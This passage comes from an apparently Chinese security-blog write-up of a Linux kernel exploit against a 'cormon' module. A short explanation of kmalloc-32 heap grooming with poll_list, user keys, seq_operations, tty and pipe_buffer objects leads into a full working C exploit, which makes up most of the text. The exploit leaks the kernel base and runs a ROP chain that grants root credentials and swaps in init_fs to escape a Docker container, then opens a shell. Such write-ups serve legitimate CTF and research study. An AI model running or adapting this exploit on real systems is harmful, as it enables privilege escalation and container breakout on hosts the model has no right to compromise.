kvalue
,
value
,
size
)) {
error
=
-
EFAULT
;
goto
out
;
}
[...]
}
error
=
vfs_setxattr
(
d
,
kname
,
kvalue
,
size
,
flags
);
out
:
kvfree
(
kvalue
);
// 释放kmalloc-x
return
error
;
}
另外实测 kmalloc-32
的 freelist
偏移为 16 字节,不会覆盖 next
指针。
喷射 seq_operations
利用 seq_operations->next
的低二字节覆盖 user_key_payload->datalen
实现 user_key_payload
越界读, user_key_payload->data
前 8 字节被覆盖为 seq_operations->show
,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload
是否被 seq_operations
覆盖。
struct
seq_operations
{
void
*
(
*
start
) (
struct
seq_file
*
m
,
loff_t
*
pos
);
void
(
*
stop
) (
struct
seq_file
*
m
,
void
*
v
);
void
*
(
*
next
) (
struct
seq_file
*
m
,
void
*
v
,
loff_t
*
pos
);
int
(
*
show
) (
struct
seq_file
*
m
,
void
*
v
);
};
struct
user_key_payload
{
struct
rcu_head
rcu
;
/* RCU destructor */
unsigned
short
datalen
;
/* length of this data */
char
data
[
0
]
__aligned
(
__alignof__
(
u64
));
/* actual data */
};
struct
callback_head
{
struct
callback_head
*
next
;
void
(
*
func
)(
struct
callback_head
*
head
);
}
__attribute__
((
aligned
(
sizeof
(
void
*
))));
#define rcu_head callback_head
之后释放不能越界读的 user_key_payload
并喷射 tty_file_private
填充产生的空闲 object
。之后再次越界读泄露 tty_file_private->tty
指向的 tty_struct
,我们定义这个地址为 target_object
。
释放 seq_operations
,喷射 0x20
大小的 poll_list
。现在 UAF
的堆块被 user_key_payload
和 poll_list
占领。在 poll_list
被释放前,释放劫持的 user_key_payload
,利用 setxattr
修改 poll_list
的 next
指针指向 target_object - 0x18
,方便后续伪造 pipe_buffer
。为了实现 setxattr
的喷射效果, setxattr
修改过的 object
通过申请 user_key_payload
劫持,确保下次 setxattr
修改的是另外的 object
。
打开
/dev/ptmx
时会分配tty_file_private
并且该结构体的tty
指针会指向tty_struct
。int tty_alloc_file ( struct file * file ) { struct tty_file_private * priv ; priv = kmalloc ( sizeof ( * priv ), GFP_KERNEL ); if ( ! priv ) return - ENOMEM ; file -> private_data = priv ; return 0 ; } // kmalloc-32 | GFP_KERNEL struct tty_file_private { struct tty_struct * tty ; struct file * file ; struct list_head list ; };
趁 poll_list
还没有释放,释放 tty_struct
并申请 pipe_buffer
,将 target_object(tty_struct)
替换为 pipe_buffer
。
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
之后 poll_list
释放导致 target_object - 0x18
区域释放。我们可以申请一个 0x400
大小的 user_key_payload
劫持 target_object - 0x18
,从而劫持 pipe_buffer->ops
实现控制流劫持。
docker逃逸
具体实现为修改 task_struct
的 fs
指向 init_fs
。用 find_task_by_vpid()
来定位 Docker
容器任务,我们用 switch_task_namespaces()
。但这还不足以从容器中逃逸。在 Docker
容器中, setns()
被 seccomp
默认屏蔽了,我们可以克隆 init_fs
结构,然后用 find_task_by_vpid()
定位当前任务,用 gadget
手动安装新 fs_struct
。
// commit_creds(&init_creds)
*
rop
++
=
pop_rdi_ret
;
*
rop
++
=
init_cred
;
*
rop
++
=
commit_creds
;
// current = find_task_by_vpid(getpid())
*
rop
++
=
pop_rdi_ret
;
*
rop
++
=
getpid
();
*
rop
++
=
find_task_by_vpid
;
// current->fs = &init_fs
*
rop
++
=
pop_rcx_ret
;
*
rop
++
=
0x6e0
;
*
rop
++
=
add_rax_rcx_ret
;
*
rop
++
=
pop_rbx_ret
;
*
rop
++
=
init_fs
;
*
rop
++
=
mov_mmrax_rbx_pop_rbx_ret
;
rop
++
;
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define PAGE_SIZE 0x1000
int
randint
(
int
min
,
int
max
) {
return
min
+
(
rand
()
%
(
max
-
min
));
}
void
bind_core
(
bool
fixed
,
bool
thread
) {
cpu_set_t
cpu_set
;
CPU_ZERO
(
&
cpu_set
);
CPU_SET
(
fixed
?
0
:
randint
(
1
,
get_nprocs
()),
&
cpu_set
);
if
(
thread
) {
pthread_setaffinity_np
(
pthread_self
(),
sizeof
(
cpu_set
),
&
cpu_set
);
}
else
{
sched_setaffinity
(
getpid
(),
sizeof
(
cpu_set
),
&
cpu_set
);
}
}
void
qword_dump
(
char
*
desc
,
void
*
addr
,
int
len
) {
uint64_t
*
buf64
=
(
uint64_t
*
)
addr
;
uint8_t
*
buf8
=
(
uint8_t
*
)
addr
;
if
(
desc
!=
NULL
) {
printf
(
"[*] %s:\n"
,
desc
);
}
for
(
int
i
=
0
;
i
<
len
/
8
;
i
+=
4
) {
printf
(
" %04x"
,
i
*
8
);
for
(
int
j
=
0
;
j
<
4
;
j
++
) {
i
+
j
<
len
/
8
?
printf
(
" 0x%016lx"
,
buf64
[
i
+
j
]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j
=
0
;
j
<
32
&&
j
+
i
*
8
<
len
;
j
++
) {
printf
(
"%c"
,
isprint
(
buf8
[
i
*
8
+
j
])
?
buf8
[
i
*
8
+
j
] :
'.'
);
}
puts
(
""
);
}
}
bool
is_kernel_text_addr
(
size_t
addr
) {
return
addr
>=
0xFFFFFFFF80000000
&&
addr
<=
0xFFFFFFFFFEFFFFFF
;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
bool
is_dir_mapping_addr
(
size_t
addr
) {
return
addr
>=
0xFFFF888000000000
&&
addr
<=
0xFFFFc87FFFFFFFFF
;
}
#define INVALID_KERNEL_OFFSET 0x1145141919810
const
size_t
kernel_addr_list
[]
=
{
0xffffffff813275c0
,
0xffffffff812d4320
,
0xffffffff812d4340
,
0xffffffff812d4330
};
size_t
kernel_offset_query
(
size_t
kernel_text_leak
) {
if
(
!
is_kernel_text_addr
(
kernel_text_leak
)) {
return
INVALID_KERNEL_OFFSET
;
}
for
(
int
i
=
0
;
i
<
sizeof
(
kernel_addr_list
)
/
sizeof
(
kernel_addr_list
[
0
]);
i
++
) {
if
(
!
((
kernel_text_leak
^
kernel_addr_list
[
i
])
&
0xFFF
)
&&
(
kernel_text_leak
-
kernel_addr_list
[
i
])
%
0x100000
==
0
) {
return
kernel_text_leak
-
kernel_addr_list
[
i
];
}
}
printf
(
"[-] unknown kernel addr: %#lx\n"
,
kernel_text_leak
);
return
INVALID_KERNEL_OFFSET
;
}
size_t
search_kernel_offset
(
void
*
buf
,
int
len
) {
size_t
*
search_buf
=
buf
;
for
(
int
i
=
0
;
i
<
len
/
8
;
i
++
) {
size_t
kernel_offset
=
kernel_offset_query
(
search_buf
[
i
]);
if
(
kernel_offset
!=
INVALID_KERNEL_OFFSET
) {
printf
(
"[+] kernel leak addr: %#lx\n"
,
search_buf
[
i
]);
printf
(
"[+] kernel offset: %#lx\n"
,
kernel_offset
);
return
kernel_offset
;
}
}
return
INVALID_KERNEL_OFFSET
;
}
size_t
user_cs
,
user_rflags
,
user_sp
,
user_ss
;
void
save_status
() {
__asm__
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"[*] status has been saved."
);
}
typedef
struct
{
int
nfds
,
timer
;
}
poll_args
;
struct
poll_list
{
struct
poll_list
*
next
;
int
len
;
struct
pollfd
entries
[];
};
pthread_mutex_t
mutex
=
PTHREAD_MUTEX_INITIALIZER
;
size_t
poll_threads
,
poll_cnt
;
void
*
alloc_poll_list
(
void
*
args
) {
int
nfds
=
((
poll_args
*
)
args
)
->
nfds
;
int
timer
=
((
poll_args
*
)
args
)
->
timer
;
struct
pollfd
*
pfds
=
calloc
(
nfds
,
sizeof
(
struct
pollfd
));
for
(
int
i
=
0
;
i
<
nfds
;
i
++
) {
pfds
[
i
].
fd
=
open
(
"/etc/passwd"
,
O_RDONLY
);
pfds
[
i
].
events
=
POLLERR
;
}
bind_core
(
true
,
true
);
pthread_mutex_lock
(
&
mutex
);
poll_threads
++
;
pthread_mutex_unlock
(
&
mutex
);
poll
(
pfds
,
nfds
,
timer
);
bind_core
(
false
,
true
);
pthread_mutex_lock
(
&
mutex
);
poll_threads
--
;
pthread_mutex_unlock
(
&
mutex
);
}
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
pthread_t
poll_tid
[
POLL_NUM
];
void
create_poll_thread
(
size_t
size
,
int
timer
) {
poll_args
*
args
=
calloc
(
1
,
sizeof
(
poll_args
));
args
->
nfds
=
(
size
-
(
size
+
PAGE_SIZE
-
1
)
/
PAGE_SIZE
*
sizeof
(
struct
poll_list
))
/
sizeof
(
struct
pollfd
)
+
N_STACK_PPS
;
args
->
timer
=
timer
;
pthread_create
(
&
poll_tid
[
poll_cnt
++
],
0
,
alloc_poll_list
,
args
);
}
void
wait_poll_start
() {
while
(
poll_threads
!=
poll_cnt
);
}
void
join_poll_threads
(
void
(
*
confuse
)(
void
*
),
void
*
confuse_args
) {
for
(
int
i
=
0
;
i
<
poll_threads
;
i
++
) {
pthread_join
(
poll_tid
[
i
],
NULL
);
if
(
confuse
!=
NULL
) {
confuse
(
confuse_args
);
}
}
poll_cnt
=
poll_threads
=
0
;
}
struct
callback_head
{
struct
callback_head
*
next
;
void
(
*
func
)(
struct
callback_head
*
head
);
}
__attribute__
((
aligned
(
sizeof
(
void
*
))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef
unsigned
long
long
u64
;
struct
user_key_payload
{
struct
rcu_head
rcu
;
/* RCU destructor */
unsigned
short
datalen
;
/* length of this data */
char
data
[
0
]
__aligned
(
__alignof__
(
u64
));
/* actual data */
};
#define KEY_NUM 199
int
key_id
[
KEY_NUM
];
int
key_alloc
(
int
id
,
void
*
payload
,
int
payload_len
) {
char
description
[
0x10
]
=
{};
sprintf
(
description
,
"%d"
,
id
);
return
key_id
[
id
]
=
syscall
(
__NR_add_key
,
"user"
,
description
,
payload
,
payload_len
-
sizeof
(
struct
user_key_payload
),
KEY_SPEC_PROCESS_KEYRING
);
}
int
key_update
(
int
id
,
void
*
payload
,
size_t
plen
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_UPDATE
,
key_id
[
id
],
payload
,
plen
);
}
int
key_read
(
int
id
,
void
*
bufer
,
size_t
buflen
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_READ
,
key_id
[
id
],
bufer
,
buflen
);
}
int
key_revoke
(
int
id
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_REVOKE
,
key_id
[
id
],
0
,
0
,
0
);
}
int
key_unlink
(
int
id
) {
return
syscall
(
__NR_keyctl
,
KEYCTL_UNLINK
,
key_id
[
id
],
KEY_SPEC_PROCESS_KEYRING
);
}
struct
list_head
{
struct
list_head
*
next
,
*
prev
;
};
struct
tty_file_private
{
struct
tty_struct
*
tty
;
struct
file
*
file
;
struct
list_head
list
;
};
struct
page
;
struct
pipe_inode_info
;
struct
pipe_buf_operations
;
struct
pipe_bufer
{
struct
page
*
page
;
unsigned
int
offset
,
len
;
const
struct
pipe_buf_operations
*
ops
;
unsigned
int
flags
;
unsigned
long
private
;
};
struct
pipe_buf_operations
{
int
(
*
confirm
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
void
(
*
release
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
int
(
*
try_steal
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
int
(
*
get
)(
struct
pipe_inode_info
*
,
struct
pipe_bufer
*
);
};
void
get_shell
(
void
) {
char
*
args
[]
=
{
"/bin/bash"
,
"-i"
,
NULL
};
execve
(
args
[
0
],
args
,
NULL
);
}
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
int
cormon_fd
;
char
buf
[
0x20000
];
void
seq_confuse
(
void
*
args
) {
open
(
"/proc/self/stat"
,
O_RDONLY
);
}
size_t
push_rsi_pop_rsp_ret
=
0xFFFFFFFF817AD641
;
size_t
pop_rdi_ret
=
0xffffffff8116926d
;
size_t
init_cred
=
0xFFFFFFFF8245A960
;
size_t
commit_creds
=
0xFFFFFFFF810EBA40
;
size_t
pop_r14_pop_r15_ret
=
0xffffffff81001615
;
size_t
find_task_by_vpid
=
0xFFFFFFFF810E4FC0
;
size_t
init_fs
=
0xFFFFFFFF82589740
;
size_t
pop_rcx_ret
=
0xffffffff8101f5fc
;
size_t
add_rax_rcx_ret
=
0xffffffff8102396f
;
size_t
mov_mmrax_rbx_pop_rbx_ret
=
0xffffffff817e1d6d
;
size_t
pop_rbx_ret
=
0xffffffff811bce34
;
size_t
swapgs_ret
=
0xffffffff81a05418
;
size_t
iretq
=
0xffffffff81c00f97
;
int
main
() {
bind_core
(
true
,
false
);
save_status
();
signal
(
SIGSEGV
, (
void
*
)
get_shell
);
cormon_fd
=
open
(
"/proc_rw/cormon"
,
O_RDWR
);
if
(
cormon_fd
<
0
) {
perror
(
"[-] failed to open cormon."
);
exit
(
-
1
);
}
size_t
kernel_offset
;
int
target_key
;
puts
(
"[*] Saturating kmalloc-32 partial slabs..."
);
int
seq_fd
[
SEQ_NUM
];
for
(
int
i
=
0
;
i
<
SEQ_NUM
;
i
++
) {
seq_fd
[
i
]
=
open
(
"/proc/self/stat"
,
O_RDONLY
);
if
(
seq_fd
[
i
]
<
0
) {
perror
(
"[-] failed to open stat."
);
exit
(
-
1
);
}
if
(
i
==
2048
) {
puts
(
"[*] Spraying user keys in kmalloc-32..."
);
for
(
int
j
=
0
;
j
<
KEY_NUM
;
j
++
) {
setxattr
(
"/tmp/exp"
,
"aaaaaa"
,
buf
,
32
,
XATTR_CREATE
);
key_alloc
(
j
,
buf
,
32
);
if
(
j
==
72
) {
bind_core
(
false
,
false
);
puts
(
"[*] Creating poll threads..."
);
for
(
int
k
=
0
;
k
<
14
;
k
++
) {
create_poll_thread
(
PAGE_SIZE
+
sizeof
(
struct
poll_list
)
+
sizeof
(
struct
pollfd
),
3000
);
}
bind_core
(
true
,
false
);
wait_poll_start
();
}
}
puts
(
"[*] Corrupting poll_list next pointer..."
);
write
(
cormon_fd
,
buf
,
PAGE_SIZE
);
puts
(
"[*] Triggering arbitrary free..."
);
join_poll_threads
(
seq_confuse
,
NULL
);
puts
(
"[*] Overwriting user key size / Spraying seq_operations structures..."
);
}
}
puts
(
"[*] Leaking kernel pointer..."
);
for
(
int
i
=
0
;
i
<
KEY_NUM
;
i
++
) {
int
len
=
key_read
(
i
,
buf
,
sizeof
(
buf
));
kernel_offset
=
search_kernel_offset
(
buf
,
len
);
if
(
kernel_offset
!=
INVALID_KERNEL_OFFSET
) {
qword_dump
(
"dump leak memory"
,
buf
,
0x1000
);
target_key
=
i
;
break
;
}
}
if
(
kernel_offset
==
INVALID_KERNEL_OFFSET
) {
puts
(
"[-] failed to leak kernel offset,try again."
);
exit
(
-
1
);
}
push_rsi_pop_rsp_ret
+=
kernel_offset
;
pop_rdi_ret
+=
kernel_offset
;
init_cred
+=
kernel_offset
;
commit_creds
+=
kernel_offset
;
pop_r14_pop_r15_ret
+=
kernel_offset
;
find_task_by_vpid
+=
kernel_offset
;
init_fs
+=
kernel_offset
;
pop_rcx_ret
+=
kernel_offset
;
add_rax_rcx_ret
+=
kernel_offset
;
mov_mmrax_rbx_pop_rbx_ret
+=
kernel_offset
;
pop_rbx_ret
+=
kernel_offset
;
swapgs_ret
+=
kernel_offset
;
iretq
+=
kernel_offset
;
puts
(
"[*] Freeing user keys..."
);
for
(
int
i
=
0
;
i
<
KEY_NUM
;
i
++
) {
if
(
i
!=
target_key
) {
key_unlink
(
i
);
}
}
sleep
(
1
);
puts
(
"[*] Spraying tty_file_private / tty_struct structures..."
);
int
tty_fd
[
TTY_NUM
];
for
(
int
i
=
0
;
i
<
TTY_NUM
;
i
++
) {
tty_fd
[
i
]
=
open
(
"/dev/ptmx"
,
O_RDWR
|
O_NOCTTY
);
if
(
tty_fd
[
i
]
<
0
) {
perror
(
"[-] failed to open ptmx"
);
}
}
puts
(
"[*] Leaking heap pointer..."
);
size_t
target_object
=
-
1
;
int
len
=
key_read
(
target_key
,
buf
,
sizeof
(
buf
));
qword_dump
(
"dump leak memory"
,
buf
,
0x1000
);
for
(
int
i
=
0
;
i
<
len
;
i
+=
8
) {
struct
tty_file_private
*
head
=
(
void
*
)
&
buf
[
i
];
if
(
is_dir_mapping_addr
((
size_t
)
head
->
tty
)
&&
!
(((
size_t
)
head
->
tty
)
&
0xFF
)
&&
head
->
list
.
next
==
head
->
list
.
prev
&&
head
->
list
.
prev
!=
NULL
) {
qword_dump
(
"leak tty_struct addr from tty_file_private"
,
&
buf
[
i
],
sizeof
(
struct
tty_file_private
));
target_object
=
(
size_t
)
head
->
tty
;
printf
(
"[+] tty_struct addr: %p\n"
,
target_object
);
break
;
}
}
if
(
target_object
==
-
1
) {
puts
(
"[-] failed to leak tty_struct addr."
);
exit
(
-
1
);
}
puts
(
"[*] Freeing seq_operation structures..."
);
for
(
int
i
=
2048
;
i
<
SEQ_NUM
;
i
++
) {
close
(
seq_fd
[
i
]);
}
bind_core
(
false
,
false
);
puts
(
"[*] Creating poll threads..."
);
for
(
int
i
=
0
;
i
<
192
;
i
++
) {
create_poll_thread
(
sizeof
(
struct
poll_list
)
+
sizeof
(
struct
pollfd
),
3000
);
}
bind_core
(
true
,
false
);
wait_poll_start
();
puts
(
"[*] Freeing corrupted key..."
);
key_unlink
(
target_key
);
sleep
(
1
);
// GC key
puts
(
"[*] Overwriting poll_list next pointer..."
);
char
key
[
32
]
=
{};
*
(
size_t
*
)
&
buf
[
0
]
=
target_object
-
0x18
;
for
(
int
i
=
0
;
i
<
KEY_NUM
;
i
++
) {
setxattr
(
"/tmp/exp"
,
"aaaaaa"
,
buf
,
32
,
XATTR_CREATE
);
key_alloc
(
i
,
key
,
32
);
}
puts
(
"[*] Freeing tty_struct structures..."
);
for
(
int
i
=
0
;
i
<
TTY_NUM
;
i
++
) {
close
(
tty_fd
[
i
]);
}
sleep
(
1
);
// GC TTYs
int
pipe_fd
[
PIPE_NUM
][
2
];
puts
(
"[*] Spraying pipe_bufer structures..."
);
for
(
int
i
=
0
;
i
<
PIPE_NUM
;
i
++
) {
pipe
(
pipe_fd
[
i
]);
write
(
pipe_fd
[
i
][
1
],
"aaaaaa"
,
6
);
}
puts
(
"[*] Triggering arbitrary free..."
);
join_poll_threads
(
NULL
,
NULL
);
((
struct
pipe_bufer
*
)
buf
)
->
ops
=
(
void
*
) (
target_object
+
0x300
);
((
struct
pipe_buf_operations
*
)
&
buf
[
0x300
])
->
release
=
(
void
*
)
push_rsi_pop_rsp_ret
;
size_t
*
rop
=
(
size_t
*
)
buf
;
*
rop
++
=
pop_r14_pop_r15_ret
;
rop
++
;
rop
++
;
// ops
// commit_creds(&init_creds)
*
rop
++
=
pop_rdi_ret
;
*
rop
++
=
init_cred
;
*
rop
++
=
commit_creds
;
// current = find_task_by_vpid(getpid())
*
rop
++
=
pop_rdi_ret
;
*
rop
++
=
getpid
();
*
rop
++
=
find_task_by_vpid
;
// current->fs = &init_fs
*
rop
++
=
pop_rcx_ret
;
*
rop
++
=
0x6e0
;
*
rop
++
=
add_rax_rcx_ret
;
*
rop
++
=
pop_rbx_ret
;
*
rop
++
=
init_fs
;
*
rop
++
=
mov_mmrax_rbx_pop_rbx_ret
;
rop
++
;
// back to user
*
rop
++
=
swapgs_ret
;
*
rop
++
=
iretq
;
*
rop
++
=
(
uint64_t
)
get_shell
;
*
rop
++
=
user_cs
;
*
rop
++
=
user_rflags
;
*
rop
++
=
user_sp
;
*
rop
++
=
user_ss
;
puts
(
"[*] Spraying ROP chain..."
);
for
(
int
i
=
0
;
i
<
31
;
i
++
) {
key_alloc
(
i
,
buf
,
1024
);
}
puts
(
"[*] Hijacking control flow..."
);
for
(
int
i
=
0
;
i
<
PIPE_NUM
;
i
++
) {
close
(
pipe_fd
[
i
][
0
]);
close
(
pipe_fd
[
i
][
1
]);
}
sleep
(
5
);
return
0
;
}
多试几次还是可以成功的。
本文作者: dingjiacan@antvsion.com
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205619.html